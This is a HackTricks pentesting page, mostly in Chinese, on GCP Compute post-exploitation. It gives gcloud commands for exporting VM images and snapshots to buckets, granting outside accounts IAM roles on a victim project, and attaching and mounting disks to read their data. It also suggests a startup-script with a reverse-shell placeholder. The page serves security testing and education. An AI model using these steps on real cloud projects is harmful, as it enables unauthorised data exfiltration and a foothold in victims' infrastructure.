GCP - Compute Post Exploitation

支持 HackTricks

计算

有关计算和 VPC(网络)的更多信息,请查看:

GCP - Compute Enum

本地导出和检查镜像

这将允许攻击者访问已存在镜像中的数据创建正在运行的虚拟机的新镜像,并在不访问正在运行的虚拟机的情况下访问其数据。

可以将虚拟机镜像导出到一个存储桶,然后下载并使用以下命令在本地挂载它:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

在执行此操作之前,攻击者可能需要对存储桶拥有权限,并且肯定需要对 cloudbuild 拥有权限,因为这是将被请求执行导出的 服务。 此外,为了使其正常工作,codebuild SA 和 compute SA 需要特权权限。 cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com 需要:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

而 SA <project-id>-compute@developer.gserviceaccount.com 需要:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

本地导出和检查快照和磁盘

无法直接导出快照和磁盘,但可以 将快照转换为磁盘,将磁盘转换为映像,并按照 前一部分,将该映像导出以便在本地检查。

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

检查创建虚拟机的镜像

为了访问存储在镜像中的数据运行中的虚拟机,攻击者创建了一个镜像,可以授予外部账户对该镜像的访问权限:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

然后从它创建一个新的虚拟机:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

如果您无法通过镜像授予外部帐户访问权限,您可以在受害者的项目中使用该镜像启动虚拟机,并使元数据执行反向 shell以访问镜像,添加参数:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

为了访问存储在磁盘或快照中的数据,您可以将快照转换为磁盘,将磁盘转换为映像,并遵循之前的步骤。

或者您可以授予外部帐户对磁盘的访问权限(如果起点是快照,则授予对快照的访问权限或从中创建磁盘):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

将磁盘 附加到实例:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

挂载磁盘到虚拟机内:

  1. SSH 进入虚拟机

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. 识别磁盘:进入虚拟机后,通过列出磁盘设备来识别新磁盘。通常可以找到它作为 /dev/sdb/dev/sdc 等。

  2. 格式化并挂载磁盘(如果是新磁盘或原始磁盘):

  • 创建挂载点:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • 挂载磁盘:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

如果您无法将快照或磁盘的访问权限授予外部项目,您可能需要在与快照/磁盘相同项目的实例内执行这些操作

支持 HackTricks

Last updated